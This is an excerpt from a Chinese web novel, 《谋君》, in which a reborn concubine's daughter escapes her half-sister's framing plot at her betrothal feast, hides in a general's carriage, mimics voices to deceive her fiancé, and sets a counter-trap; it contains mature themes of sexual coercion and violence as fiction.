《谋君》
1. 陷阱
苏绾重生了，回到五年前温如初上门提亲那日。
昏暗房间摆放髤红雕花屏风，黄梨木衣橱，妃色缎面床帏，乳白流苏半开半放。这里是苏家位于偏院的西厢房，也是她娘亲曾经居住的地方。
苏绾侧身佝偻脊背，余光瞥到自己身体，她身上不着丝缕，赤条条蜷缩冰冷床板，好像砧板上的一条鱼。身边四五个打手将她擒住，正欲给她套上绳索捆绑。
“二小姐您莫见怪，小的也是受人所托，不过逢场作戏，闭上眼睛忍忍就挺过去了，也少受点皮肉之苦不是。”说话者是苏家嫡女苏沅芷的随从，名唤“老丁”。
苏绾嗔怒道：“大胆刁奴！瞎了你的狗眼，我可是温侍郎的未婚妻。光天化日之下，苏沅芷竟敢陷害我，不怕被温侍郎告上县衙吗？”
老丁阴笑道：“嘿嘿，瞧二小姐这话说的，今日全凭您自愿与人苟且，我等不过碰巧路过撞见，此事跟大小姐无半点瓜葛。”
趁人不注意，苏绾猛然坐起身，手刀横砍猥琐男喉咙。猥琐男一声闷哼，两眼翻白，当即倒地不省人事。
她随手摸到猥琐男丢下的砍刀，握在手中用力挥舞，声嘶力竭道：“谁敢过来，我砍死他。”
苏二小姐向来温婉素静，手无缚鸡之力，怎会有如此勇气反抗？唬得众人一时不敢动弹。
苏绾摇摇晃晃站起身，裹一床绢丝薄被，丢下砍刀大步流星往外逃。
身后老丁振臂高呼：“抓住她！”
西厢房位于苏宅偏院，平时人迹罕至。苏绾幼年曾借宿于此，轻车熟路，还算熟悉地形。
她果断向宅门方向跑去，出去就是窄巷，走两步即为主路大道，行人络绎不绝，家丁绝不敢当街拿她。
谁知院外正对宅门处，停泊一辆马车，苏绾没刹住脚步，险些钻进车厢底下，只听“咚”得一声，脑门不偏不倚撞击坚硬车橼。
“好疼。”苏绾两眼昏花，揉搓额首，倚靠车厢勉强站起身。
苏绾拔腿开溜，一扭头却被身穿曳撒服，腰挎雁翎刀的侍卫，山一样挡在前面。
“你没长眼睛么？”
车厢窗帷探出一只手，轻轻掀开帘子，露出刀劈斧削的侧脸，嘴角噙着一抹不明不白的笑意。
苏绾瞳孔猛地一缩，竟然是他。
异姓王绥靖王世子时枫，从小跟随父兄南征北战，驰骋疆场，战功显赫。廿二岁调任京卫指挥使，年少有为，威风上将坛。
今日户部侍郎温如初上门提亲，迎娶苏家二小姐苏绾。时枫作为温如初的发小，亦在受邀请宾客之列。
上一世，她被苏家嫡女苏沅芷诬陷与小厮通奸，一身赤裸抬入纳征宴席，恰好丢掷在他的黑靴前。她不堪凌辱，匍匐向他求救，换得一句：“滚开，别脏了我的靴。”
前世有限的几次接触，时枫从未正眼瞧过她。乃至后来，当她权倾后宫，染指朝野之际，他对她的疯狂举止嫌恶至极，甚至到了威胁砍她脑袋的地步。
苏绾低首，声音细如蚊蚋：“奴家为苏家婢子，小厮欲抓我泄欲，见我抵死不从，这会子正追我。还请公子行个方便，放我速速离去。”
“哦。”男人乌黑浓厚睫毛剪了剪，眸底泛出阴鸷之色，让人望而生畏，“与我有何关系？”
身后人声嘈杂，恰时家丁追至门前一丈远，幸亏门廊遮挡，不至于被一眼看穿。
逃跑已然来不及，苏绾只得转向男人求救，“求公子发发慈悲，救救奴家。倘若奴家被捉了去，必会受人强迫，性命难保。”
时枫摩挲窄袖袍子护腕，镶嵌墨玉翡翠闪着冷光，“我救了你，有什么好处？”
苏绾咬了咬牙，急走两步，一把掀开车帷，在侍卫目瞪口呆注视下，毅然决然登入马车。
“奴家任凭公子处置。”
说着，苏绾展开玉臂，任凭丝衾顺利滑落。一道白影乍现，春光酽酽外泄，映衬昏暗车厢骤然明亮。
男人被她的勇气和莽撞震慑，撇了撇檀唇，凤眸微微眯起。
老丁追至马车旁，遭侍卫晴雷怒斥：“何人大呼小叫，惊扰世子爷休憩，砍了你的脑袋。”
老丁一听，连忙作揖赔礼：“家中婢女盗窃逃亡，小的正在追捕。敢问世子爷，可曾见过女子去向？”
隔着薄薄的门帘，苏绾大气不敢喘，她缩了缩身子，好似躲避猎人追捕的小兽。
时枫掀眸觑向战战兢兢的猎兽，慢条斯理道：“不错，本将军的确瞧见只玉兔，大约就是你们要找的人。”
苏绾一惊，他这是要将她交出去？
老丁欣喜道：“正是，那婢女去往何处？”
时枫垂下凤眸，玩味似得咋了咋牙，“你问我，她去往何处？”转头望向窗外，语气充满嘲弄：“我怎么知道。”
老丁一愣，久闻绥靖王世子性格乖戾无常，还真会耍弄人。老丁顿了顿，垂丧道：“打扰世子爷，小的告退。”手一挥，一行人分头向两边巷口跑去。
听着车外脚步声渐远，苏绾轻轻松口气，总算躲过一劫。
“原来是时将军，奴家感激将军相救。”
苏绾俯身拾起薄被，正要往身上披，忽然手腕被人掣住，动弹不得。
“我有说过，我姓时吗？”男人冷冷说道。
糟糕！一时大意，竟露出马脚。
苏绾沉着道：“这京中的世子爷，十有八九为纨绔子弟，日常皆锦衣华服，怎会一身武将打扮？奴家猜出来是时将军，不足为奇。”
“有道理。”时枫点头赞道。
苏绾心内舒口气，总算掩饰过去。
可下一刻，男人邪魅一笑，“本将军救了你，轮到你回报我了。”
“你说什么？”苏绾眨眨眼眸，疑心自己听错了。
时枫勾唇道：“少跟我装糊涂，说好的，任凭我处置。怎么，玩不起？”
“时、时将军，”苏绾慌道：“前头形势所迫，奴家一时慌乱，口不择言，还请将军宽恕。倘若将军想要补偿，奴家……”她咽了口唾沫，“奴家改日登门造访。”
时枫畅然一笑，“改日？说得好听。”紧接着凤眸一沉，“你跑了，我上哪儿寻你去？”
男人展臂揽过腰肢，炽热的手掌不断下滑，山峰谷底跌宕颠簸，刺激苏绾浑身颤栗。她万分懊悔，自己怎么有胆子爬进他的车厢。
苏绾扭动身体，挣扎道：“实话跟你说吧，我本是苏家二小姐苏绾，户部侍郎温如初的未婚妻。你敢动我一根手指头，叫你吃不了兜着走。”
“哦？”男人手中动作骤然停滞，令苏绾看到一丝希望。
剑眉挑了挑，语气充满不屑，“那又怎样？”
“你不会以为，我怕他吧？”揽腰的手臂渐渐收紧，雄浑力量压倒性地胜利。
苏绾犹记得，前世的绥靖王时枫，正气凛然，不近女色。可眼前这个人，为何跟前世不一样？
骀荡晨风吹进窗格，卷着男人身上清冽如雪的松香气味，刺激苏绾的神智。佳人紧咬贝齿，葱指用力，自发髻拔出根金簪子，狠命扎向对方手臂。
男人略微一愣，未料及看似柔弱玉兔，竟然有绝地反攻的爆发力与勇气。
然而双方体型力量悬殊，男人不躲不避，浑身肌肉绷紧，随她任意凿戳。
苏绾挥舞来回，金簪变成钝杵，丝毫伤不得男人半分。她挥舞乏了，丢弃簪子，两手抓住对方肩膀，“吭哧”咬下去，尖牙穿透薄薄单衣。
下一刻，牙齿触碰坚硬如铁的肌肉，好似啃啮磐石，牙根差点崩断。
“呜
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呜……”
苏绾疼得直掉眼泪，口中鲜血直流，心内暗自懊悔，干嘛非要跟一只黑狗过不去呢？
男人低首觑着她，忍不住噗嗤一笑，“原来兔子急了，真的会咬人。”
他自腰间抽出松花汗巾，擦拭佳人唇角血迹，戏谑道：“是你主动勾引的我，怎么还反咬我一口呢？真是不乖。”
松花汗巾浸染浓郁的松香气息，苏绾皱了皱鼻，强忍呕吐的冲动，“奴家记得，将军有一同胞哥哥，名为时樾，北境大将军。可惜，二十八岁英年，战死沙场。可有此事？”
男人定定地剜了她一眼，许久，冷冷道：“与你无关。”
世人皆知，时樾时枫两兄弟，驰骋天下每每相随。伤疤被人毫不留情揭开，令时枫十分不悦。
苏绾并不气馁，如葱手指撩起散落青丝，挽向耳后，“时樾将军死得蹊跷，将军此次调任京卫指挥使，实为调查哥哥死因，奴家说得对吗？”
“你跟踪调查我？”时枫头一偏，豹子般敏锐的直觉，察觉到一丝危险气息。
苏绾星眸眯起，试图同他讨价还价，“将军放过奴家，我愿与你分享我所知道的一切，如何？”
“放肆。”
军中机密竟被小小闺阁女子抖落，男人遽然伸出铁爪，好似跃起的黑豹，紧紧扼住少女咽喉，向上拎提半寸。力度过大，白皙脖颈瞬间爬满殷红血纹。
铁兽洞隐烛微，落在爪下猎物，“说，你接近我有何目的？”
当苏绾裹着丝被滚向车轮底下时，他一眼就认出她的真实身份。
大概一月前，他曾在醉仙楼遇见过她，娇柔美人捧心西子，弱柳扶风跟在温如初身后，热恋眼神不曾从未婚夫身上移开一刻。
彼时他还颇有些羡慕温如初，人生得一知己，夫复何求？然而接下来发生的一幕，却让他彻底怀疑人生。
她先是依依不舍同温如初告别，转过身脱去褙子，露出素白手臂，挎起小厮的胳膊。举止亲昵无间，毫无顾忌。
他一生禀行男女授受不亲的态度，对于女子从来都是发于情止乎礼，不敢有半步僭越，给足女性尊重空间。酒楼市井之地，人多眼杂，何以此女如此豪放？
他抱着好奇的心态，打听起她的来历，结果令他大为震惊：温如初的未婚妻，是他花了一千两纹银，从行院赎回来的。
苏二小姐竟然是娼妓。
此女绝非善类，赤裸钻进他的马车，必有所图。他不便掺手别人的家事，但他有义务提醒兄弟。
他非要逼她露出真面目不可。
苏绾身体几乎离地，削葱玉指不由自主抠他手腕，可那副铜筋铁骨身体，指甲伤不得半分，反倒劈断一两截。
忽然有什么东西落入她手中。
佳人忍着剧痛，悄悄攥紧手心，“奴家冤枉。”
“哼，不见棺材不落泪。”男人慢慢收拢指间，毫无怜香惜玉之情。
苏绾星眸噙满泪水，因挤压涨得通红，意识逐渐剥离。那股松香气息钻进鼻翼，荡荡悠悠仿佛回到前世。
阖合眼帘，流绪微梦。
青面獠牙恶鬼，张着血盆大口，高举松油火棍，点燃如山高柴垛。古老京城血色弥漫，城墙硝烟滚滚，焦糊气味四散。低眼望去，脚下芸芸众生相，跪地祈求祷告：“妖女苏绾，祸国殃民，天命诛杀之。”
神魂飘离之际，却听见车外响起熟悉的人语。
“榆白，你躲在角落，做什么见不得人的事情？”
如玉公子说着，就要去拉窗帘。急得侍卫晴雷直呼：“温大人住手，世子爷他……”
温如初嘴角一斜，“你果然在做坏事，别想逃脱我的眼睛。”
伸手拨开窗帘，车厢内沁出一股浓郁的胭脂水粉气息。
2. 困境
窗帘掀起，昏暗的车厢瞬间明亮。苏绾躲在暗处的眼眸，蓦然落向那位令她刻骨铭心，爱恨交错的夫君，温如初。
年少无知之时，她被苏沅芷构陷偷盗财物，惹怒苏家家主，下令将她捆绑卖到行院。她抵死不从，欲咬舌自尽。千钧一发之际，如玉公子从天而降，唰唰几剑救下她性命，并用一千两跟老鸨买断她的卖身契。
从此她对他感恩戴德，唯命是从。
然而温润如玉只是一层假面具，在骗娶她以后，温如初迫不及待将她送入阁老床榻，换取内阁一席之地。接下来一发不可收拾，她彻底沦为官场升迁工具，并以身体为代价，助他当上摄政王。但他仍不满足，一杯毒酒鸩杀皇帝，穿上龙袍君临天下。
可惜，皇位尚未温热，反叛军揭竿而起。打着“清君侧”的名义，绥靖王时枫率领三十万大军来袭。大敌当前，他竟以“祸国妖女”的罪名将她推出去抵罪，并在城门楼上，亲手活活烧死她。
叫她如何不恨他？
苏绾无奈地闭上双眼，等待命运的审判。连带着一颗落寞的心，遽然跌入无尽黑暗。
*
透过刺眼的阳光，温如初隐约瞧见，玄袍男人背对他，身体侧卧车床，怀里搂着位美人儿。背影缝隙间，露出雪白肌肤，青丝秀发。宽阔臂膀下，伸出一只玉足，涂抹殷红胭脂。
“噗，哈哈。”温如初忍不住笑出声，摇摇头放下窗帘。
回眸间，瞧见侍卫晴雷单手握紧雁翎刀，神情莫名地紧张，温如初眨了眨眼眸，拍了拍小侍卫的肩膀。
他边拍肩膀，边唤时枫表字，调侃道：“榆白啊榆白，你好大的胆子。今日我上门提亲，你竟然在我眼皮子底下，大行床笫之欢，完全不把我这兄弟放在眼里。这笔账，我可要好好跟你算一算。”
说着，象征性地捋了捋袖管。
“哼，要你管？”
车内深沉男音响起，不知为何，声音有些发颤，似空谷绝响，又如二重合唱。
温如初微微一愣，旋即转过身子，关切问道：“听着不太对劲，你身体不适？我请大夫来给你瞧瞧。”
然车厢内一片沉寂。
远处的街角，不合时宜地传来喧闹声，风过柳稍，隐隐约约夹杂“追上去”、“在这里”等字眼。
等了半日，也不见人回应，温如初剪了剪桃花眼眸，忧虑道：“榆白，你没事吧？”
他瞥向侍卫晴雷，暗暗递个眼色。
晴雷怔怔地摇头。
车内一阵奚奚索索之声，男人松开搂紧的臂弯，拉起薄被覆盖身体，顺便伸了个懒腰，“哼，好事被你打断，如今确是没事了。”
语气慵懒且松弛。
停了一息，男人又打着呵欠闲叙：“今日不是你提亲？怎地这么空，专门跑来管我的闲事？你不去拜见岳父岳母，苏家门槛快被宾客踏平了。”
见他果真无恙，温如初放下心来，笑着调侃道：“你还敢反过来教训我？榆白是被热欲冲昏头脑，本约定正门处与我汇合，你却藏匿偏院风流快活，害我好找。一会儿在酒席上，你必须自罚三杯，否则我可不答应。”
男人哼了一声，表示应允。
他这发小性格乖戾无常，素不喜与人应酬，躲到人迹罕至的偏院，只为图个清净。温如初不疑有他，低首嘱咐道：“那你完事后，直接去宴席，我等你。”言毕，甩了甩月白袍子，转身作势离开。
“小心你的未婚妻跟人跑了，鸡飞蛋打一场空。”
忽然厢内传出惊人之语，犹如石子从天而降，平静湖面泛起涟漪。
温如初脚步旋停，桃花眼眸骤掀，“榆白何出此言？”
无缘无故，断不该臆测他的未婚妻。倘若给不出合理解释，即便是他的兄弟，他也将追究到底。
又是一段难解的沉默。
此时，街道喧嚣殆尽，风止树静，人群散去。
侍卫晴雷咽了口水。
车内忽然打破平静，男人急躁道：“大喜之日，你教未婚妻独守空房，自是不妥。”
难得愿意赏脸，解释一下。太阳从西边出来。
温如初笑了笑，“绾绾此刻尚在梳洗，况且纳征礼未过，新郎新娘不得私自会面。”桃花眼眸剪了剪，“绾绾才不会做对不起我的事，榆白多虑了。”
对别人家事评头论足，少见的碎嘴。
“啧啧。”
男人似乎意犹未尽，阴阳怪气。
“同床共枕且有异梦之时，你又如何笃定，你的女人不会钻进别的男人怀抱？”
“知人知面，难知心。”
这次不等温如初回复，男人立刻解释道：“为兄好意提醒，你不必介怀。纳征宴席即刻开始，你自去赴宴先，莫再打扰我的好事。”紧接着搂过美人，语气暧昧：“方才没得尽兴，再来一轮大战。”
一面出言警醒，一面又催促离开。
侍卫晴雷迟疑了一下，抬起的手又放下。
蹊跷之举悉数落入桃花眼眸，隐匿于运筹帷幄的狡黠中，温如初剪着手臂，挑眉道：“说来说去，还不是你嫉妒我？我家绾绾乃名门闺秀，温婉娴静，与你所识之风尘女子，截然两样。”
桃花眼眸一掀，“还是说，你发现了什么，有意思的事情。”
意料之中的沉默。看来需要推波助澜，破解谜题才有戏。
月白袍子一甩，“也罢，不如我为榆白觅一间雅舍，解了你的火气，省得你在背后议论我。”伸出手邀请，“正巧，苏家偏院有间西厢房，可让榆白乘兴。”
眼见为实，耳听为虚，他只相信自己的眼睛。
忽而男人声起：“好。”
进而男人又道：“不好。”
前后瞬间，言语矛盾，绝非常人所做。
桃花眼眸泛出晦暗之色，温如初步步紧逼，“到底好不好？榆白若难以定夺，可请花娘出面裁断，如何？”
男人立刻果断拒绝：“不行。”
又马上恶狠狠收回：“我说行，就是行。”
一拳砸到内壁，震得车厢摇晃。好似癫狂癔症发作，自己跟自己吵架。
俄顷，又一女声响起，带着浓浓的风尘味，“将军大人莫急，妾身从业五年，不挑不捡，楼台做得，茅房做得，马车亦做得，不必劳烦贵人另寻场所。”
花娘靠近窗台，隔着窗帘，小心道：“问贵人安，小女子身子污浊，不敢露面，恐熏染贵人玉体。”
旋即又去求男人：“小女子卑贱低微，大吉之日实不该玷污贵人门楣，扰了贵人吉事，还请将军大人体谅成全。小女子泣血叩求，此后愿遂将军大人意愿，听之任之，绝不敢隐瞒欺骗。”
说完跪地咚咚磕头，车厢摇摇欲坠。
温如初冷眼睇着一对人儿风风火火演对手戏，见花娘不肯露面，时枫反复无常，他愈加断定其中有鬼，紧着上前一步，果断掀撩虚掩的窗帘。
他要亲眼论证事实。
侍卫晴雷遽然拔刀相向。
电光火石之际，男人挺起胸膛，“噌”得一下自揭窗帘，魁梧身材将窗口遮挡严严实实，凤眸蒙上冷戾之色，“她都说了，不想见人，你何必为难。”
男人出乎意料地反应，令温如初神情一滞，很快又沉静下来，尴尬地笑了笑，“我也是为你着想，你不但不领情，竟还反过来拿我的不是。”
于情，许是俩人没谈妥价钱，于理，则说不通。
忽然远处传来呼唤：“姐夫姐夫！”
原来是苏家嫡子苏尽欢，年芳十六岁，平日里不学无术，最喜欢流连花街柳巷。
他一路小跑溜至马车前，兴奋道：“姐夫让我好找，父亲已等候多时。”
败家子的不期而至拯救了温如初的窘迫，他眉毛一挺，负手道：“还不都怪时将军，到处不见踪影，躲进脂粉乡暗谈风月。”
苏尽欢一听“风月”二字，立刻来了精神，“两位哥哥在谈论花娘吗？竟有这种好事，也不叫上我，时兄好小气。”
言语轻浮，瞬间惹怒时枫，“你算什么东西，也配跟本将军谈兄论弟？滚。”
苏尽欢咂咂嘴巴，缩缩脖颈，向温如初身后退却。
温如初藏在袖管里的拳头，暗自攥了攥，面上依旧谈笑风生，“榆白莫耽搁太久，我等你过来，咱们兄弟俩好好喝一杯。”
言毕，甩甩衣袖绝尘而去。苏尽欢紧跟他步伐，像只哈巴狗。
*
苏绾总算松口气。
“咳咳……”
紧张的心情一旦松懈，肌肉被扼紧的记忆立刻窜现。苏绾弓着脊背，一连串咳嗽不停。
忽然一只大手伸过来，轻轻敲打后背，缓解咳嗽的冲动。
苏绾深吸两口气，充满感激之情，刚要说声谢谢。
大掌翻转，擎着苏绾后脑，让她不得动弹，语气风霜刀剑，“解释。”
凤眸睇着桃花脸庞，“是你自己说的，听之任之，绝不敢隐瞒欺骗。”
“倘若解释得不好，”眸底射出万般利剑，“我叫他回来，当面看你辩驳。”
冰冷气息吞吐，令苏绾感到窒息，她已黔驴技穷，再无任何机会和借口推诿。
原来苏绾自小随生母习得一项绝技——口技
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起初她只会简单的弹舌，唱苏州评弹最为好用。后经过不断磨炼，模仿动物叫声，风雷雨电，器皿物什，甚至人的声音，男女老少皆可。
上一世，温如初将她从行院赎回时，偶然发现她的舌头十分灵活，慢慢加以引导培训，终成炉火纯青形态。然而，她也因为精湛口技，被迫替温如初干了不少坏事，甚至用在龌龊那话。
如今重生五年前，温如初对她技能的印象，还停留在弹琵琶唱小曲阶段，断然想不到假装花娘的人，就是她。
但这个秘密，眼看纸包不住火。
那句“哼，要你管”，并非时枫一人所答，乃苏绾模仿语气，二人同时回应。无论从音色还是质感角度，苏绾都模仿得惟妙惟肖，足够以假乱真。
后续两人一来一回过招，苏绾竟都从容应对，不但模仿他，甚至还分饰两角，自问自答。
然而，时枫连一个字都不信她。
先不论所谓亲姐谋害亲妹，危言耸听，荒诞不经；单就拿口技水平来讲，技艺巧妙，简直逆天，绝非寻常闺阁女子解闷的小把戏。
这疯女人口不择言，疯疯癫癫，竟敢扯出他的哥哥时樾，鬼蜮伎俩企图蒙混过关，演一出拙劣的“仙人跳”，令人作呕。
“你竟敢愚弄本将军，看来是不想活了。”男人猛然抓起佳人乌发，凤眸镀上一层愤怒的金色，“有什么话，大牢里说去吧。”
说着，召唤晴雷套马，他要抓她去县衙审问。
唬得苏绾脸色苍白，然而铁兽软硬不吃，她也没得办法脱身。对付野兽，就不能用平常手段。
恶人还需恶人磨。
苏绾眼眸一沉，翻身折进宽阔胸怀，玉臂勾拢男人脖颈，耳际气若游丝，“奴家改主意了，现在就偿还人情，如何？”
白皙寒凉肌肤，若有似无贴近滚烫脖颈，触碰项间一根玄色翻花绳，葱指轻轻一挑，自胸膛间勾出一支圆柱，二节尾指长短，截面指甲大小，墨玉材质，晶莹剔透。
乃是一方印章，阳文镌刻一只鹤首，环绕一圈黑炎，栩栩如生，巧夺天工。
玉章捻在手心，佳人抿嘴一笑，“将军既对奴家有意，奴家自当奉陪到底。至于有关时樾的消息，算我多嘴多舌，免费赠送与你。”
身子向后微微扬，波浪曲线起伏，荡漾着霪笑，她说：“这都是温如初告诉我的，他什么都爱跟我分享。他还说，”佳人勾了勾朱唇，“莫要在将军面前提起这个人，不然将军要发脾气的。”
猝然间，他对她兴趣骤失。
大掌陡然收回玉章，恶狠狠推开苏绾。那玉章是他哥哥时樾留给他的遗物，他绝不允许任何外人玷污。而他此行回京的目的，也绝不能让外人知道。
男人咬了咬唇，声音冷得如同淬了冰，“屡教不改。温如初与我尔汝之交，鹡鸰在原。我不管你是什么人，胆敢背叛我的兄弟，我要你偿命。”
苏绾趴伏地面，嘴角扬起笑意。上一世，她曾见过那玉章，知道它对他的意义非同寻常。甭管他表面装作满不在乎的样子，兄弟情义，就是他的死穴。
这一世的绥靖王，与上一世，没有丝毫差别。
帘子掀开，铁兽冷目道：“滚，不要让我再看见你。”
苏绾默默爬起身，拾起薄薄丝被，裹住破锣身体。一瘸一拐走下马车，借助树木掩护，沿着窄巷的边角，向正院走去。
她找到仆人进出的偏门，偷偷溜入苏宅。
人还未踏进门，婢女无霜迎上前去，急道：“姑爷已经到了，正在厅堂会客呢。”
可当无霜打眼一看，苏绾浑身不着丝缕，外围裹着薄被，吓得她小脸惨白，哆哆嗦嗦问道：“小姐这是怎么了？”
苏绾握住无霜的小手，热泪盈眶，一句话也说不出。既饱含多年未见的辛酸，又有久别重逢的喜悦。
上一世，在她被温如初娶回家之后，却不肯收留贴身婢女。无霜被苏家嫡子苏尽欢糟蹋，后又卖给窑子。不消俩月，无霜不堪凌辱，上吊自尽。
“拿件新衣裳给我。”苏绾望着铜镜里脖颈处的掐痕，触目惊心。
她怎么有胆量，跟“冷面阎罗”过招？他捏死她，就像捏死鸡崽子那般容易。
可她能怎么办？重活一世，总不能立刻又死一遭。
苏绾在首饰盒里翻来倒去，找出一块指甲盖儿绿松石，比对一番，形状大小正合适。
“霜儿，你帮我办件事情，不要被任何人发现。”
无霜重重点头。
苏绾送走无霜，独自向后厅走去，那里有她的劲敌，纳征耻辱的始作俑者——苏沅芷。
3. 做局
苏家嫡女苏沅芷，素来张扬跋扈，颐指气使，视苏绾为眼中钉、肉中刺。仗着比苏绾大两岁，以长姐名义，过去十年没少坑害苏绾，有几次差点要了苏绾的性命。
上一世，就在纳征之日，苏沅芷借故将苏绾骗至西厢房，令小厮将其打晕，强行剥去衣裙。再以捉奸名义，抓住苏绾“通奸”证据，将赤裸的她抬进宴席现场，当众羞辱她。
待苏绾被温如初掳去皇宫，苏沅芷竟厚着脸皮请求做温如初的面首，专门监视苏绾一举一动。常常谎报军情不说，还强灌红花汤给苏绾，致使苏绾堕胎流产，甚至失去生育能力。
等到苏绾好不容易爬到高位，权倾后宫朝野，成为虽无名分，实际意义上的“皇后”。苏沅芷表面跪求她的原谅，暗地里纠集一支女兵力量，亲自拿住她送上城门楼，最后被温如初活活烧死。
苏绾重生以后，第一个要打击报复的对象，就是苏沅芷。以牙还牙，以眼还眼，上一世的耻辱，她要如数奉还给仇敌们。
苏绾来到后厅，却没有进门，悄悄站在门廊拐角，借着廊柱遮挡，偷听屋内人谈话。
“苏绾那小贱蹄子，实在惹人嫌。整日里吃斋念佛，好似一根烂木头，话都不会说几句。娘亲当初何必应承这门婚事？岂不是自己打自己脸面？”
声音尖酸刻薄，嚣张跋扈，不用猜，正是苏家嫡女苏沅芷。
苏夫人鄙夷道：“她一个贱妾所生的庶女，能值几文钱？这是天上掉馅饼，摊上个瞎眼的买主。我将她嫁给三品户部侍郎，总比卖到妓院赚得多。”
苏沅芷啐了一口，“贱胚烂命一条，根本配不上温侍郎。娘亲也不劝着些，好好一棵玉树，非要栽进狗屎。”
苏夫人瞥了苏沅芷一眼，“我知沅儿你对温侍郎有意，奈何他被猪油蒙了心。侯门一入深似海，你且等着，苏绾嫁过去，最多捱不过二三载。等她一命呜呼归西，我再叫人给你说媒，让温侍郎娶你做正妻。”
苏沅芷撇撇嘴，“我可等不得二三载那么久，我巴不得那贱胚，立刻死在我面前。”
苏夫人站起身，边走边说：“如今她有温侍郎庇佑，连我都难惩罚她，非得找点名正言顺的借口才行。你也当注意些，惹恼了温侍郎，看他在朝政官途，给你父亲弟弟使绊子。”
苏沅芷撇嘴道：“我舅舅乃浙江省布政使，朝廷二品封疆大吏，官阶堪比当朝阁老，咱们家还怕别人不成。”
苏夫人前脚刚走，苏沅芷随从老丁，慌慌张张地进门打报告。
“派出去的两路人马，搜遍方圆十里路，未曾找到二小姐踪迹。”
苏沅芷娥眉一挺，“废物，七八个大男人，抓不着迷晕的小娼妇。”
老丁为难道：“小的是被时将军诳骗了，当时马车堵在门口，死活不肯让路。想来二小姐应该躲在马车里。”
“哪个时将军？”
老丁回道：“是新近从漠北调任来京的三品京卫指挥使，异姓王绥靖王世子，时枫时将军。”
苏沅芷对朝廷政事一窍不通，也不懂得军衔的意义，然而“三品”官阶，她还是听得懂。
眼见策划周全的“捉奸记”夭折，苏沅芷懊恼不已，挥挥手，“下去吧。”
老丁甫一启门，蓦然跌进一幢人影，“啊”的一声扑倒在地。
苏沅芷唬得跳脚，刚要开口大骂，定睛一看，认出苏绾来，“你鬼鬼祟祟，躲在门外偷听作甚？”
苏绾奚奚索索爬起身，扶额细声道：“没、没偷听。宴席开始，父亲叫你去前厅会客。”
苏沅芷看她这副木讷样子就来气，明明趴门口偷听，却连质问的勇气都没有，真是块木头疙瘩。
苏沅芷伸出嫩白食指，用力点苏绾的额头，“你别以为自己攀上高枝，野鸡摇身一变，就能成为金凤凰。他今天娶你过门，明天也能将你踢出门外。”
苏绾身体微微后仰，几乎看不见眼白，“大姐姐做出这样背德的事，不怕遭报应吗？”
苏沅芷闻言大怒，揪扯苏绾的衣领，恶狠狠道：“我就算计你怎么着？有能耐你去告我啊！看他会不会帮你说话。”
苏绾不敢正视她的眼睛，唯唯诺诺：“举头三尺有神明，人在做，天在看。”
“去你丫的神明。”苏沅芷怒火中烧，葱指疯狂拉扯，扯散苏绾的发髻，连带前襟也被扯破。
忽然抹胸内掉出什么东西。
苏沅芷拾起来看，是块墨玉，晶莹剔透，镶嵌男子腰带束腕之类的地方。
苏绾大惊，连忙伸手去夺，“还给我！”
苏沅芷扬手躲开，“哪里来的？”
苏绾满脸惨白，“我自己买的。”
“你一女子，买男人用的玩意做什么？别告诉我，你要送给温侍郎。”
苏绾回答不出，温如初从不配戴这种硬朗风格饰品。
苏沅芷感觉自己发现天大的秘密，捉贼捉赃，捉奸捉双。她乜斜着眼，鄙夷道：“少跟我装蒜，我知道这东西属于谁。不就是那位救了你的时将军？”
“不、不是他！”苏绾脸颊由白变红，拼命摇头否认。
辩白软弱无力，落在苏沅芷的眼睛，悉数成为苏绾偷人的证据。她高举墨玉，哂笑道：“不是他送给你的定情信物吗？”
苏绾低着头，“不、不是定情信物。是、是他在马车救我时，从束腕上卸下，给我的保证。他说，以后我若遇到麻烦，就拿着这枚墨玉去找他。”
“哟，装什么英雄救美，什么狗屁保证？”苏沅芷嗤笑一声，“我看，分明是你们通奸的罪证。”
“哼，温侍郎上门提亲，你却躲起来跟奸夫苟且。我这就告诉爹爹去，将你吊在树上打死。”
苏绾拉扯苏沅芷的衣袖，嗫嚅道：“大姐姐，我求求你，放过我俩，我也是万不得已。”
“哟？张口闭口‘你俩’‘我俩’，看来你们通奸不是一日两日。来人，给我拿下这娼妇。”
众家丁应声而至，不由分说将苏绾制服。
苏沅芷攥紧手中的墨玉，得意道：“辛苦找人通奸不成，自己竟然送上门，得来全不费工夫。”
老丁问道：“如何处置二小姐？”
苏沅芷挥手，“送进前厅宴席，本小姐亲自捉奸。”
老丁面露忧虑之色，“大小姐可有十足把握？”
苏沅芷两眼虚眯，“管他呢，证据不足，我就硬着来，反正木头桩子也说不出所以然。”
她俯下腰，项间金璎珞明晃晃刺眼，“贱人，你等死吧。”
苏绾“惊恐”的眼眸，几不可察地弯了弯，暗藏一丝悦色。
*
温念，字如初，本为从五品户部员外郎，因主张赋税改革，提出“一条鞭法”，致龙颜大悦，廿二岁破格擢升正三品户部侍郎，春风得意马蹄疾。
而苏府家主苏君识，不过正五品吏部郎中，官阶低两级，举止稍显媚俗。他端起土黄缎面蝠纹衣袖，耷拉着眉眼寒暄：“纳征过礼一事，交于媒妁代办即可，何必烦劳贤婿亲自登门？”
温如初一身月白圆领丝袍，越发衬托他星月之相，苍林之姿，“彩礼仪式繁杂，恐岳丈劳心，小婿特来打点，若有何疏漏，就地解决。另一方面，小婿几日未见绾绾，心中甚是挂念，不如一并前来探望，以解相思之苦。多有叨扰，还请岳丈见谅。”
“贤婿有心了。”苏君识听他言行得体，给足自己面子，不禁心花怒放，连忙引入上席。
席上绥靖王世子时枫，作为夫家亲眷入座，挨着温如初。另两席乃苏夫人殷氏母家亲戚，且都是官场人士。
温如初敬了一圈酒，转身睇见时枫冷着脸，笑问道：“榆白兄，方才尽兴否？”
时枫睨着他，冷哼一声：“你说呢？好好的一场游戏，被人贸然打断。”
温如初替他斟满酒杯，拱手赔笑，“都是我的错。自你仨月前从边塞调遣归来，我忙于户部升任札付之事，尚未筹得机会与你一解云树之思，今日咱们把酒言欢，不醉不归。”
时枫啜了口杯中酒。
他无法判断，那疯女人所言是真是假，一切都太过匪夷所思。
时枫决定按兵不动，岔开话头：“我听闻，明春你要被派去杭州监管明春贡茶征收，岂不是新婚燕尔，弹指就要断肠暌离？”
苏君识手中银箸悬在半空，耳朵支棱，趁机置喙：“时将军不必担心，贤婿巡检杭州，女儿家夫唱妇随。男人只管关心雄图大略，家事琐碎留给女眷操持。”
温如初点点头，“我已跟绾绾说好，成婚后我在哪
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里，她在哪里，不会分离半刻。她胆子很小，怕见生人，不在我身边，我不放心。”
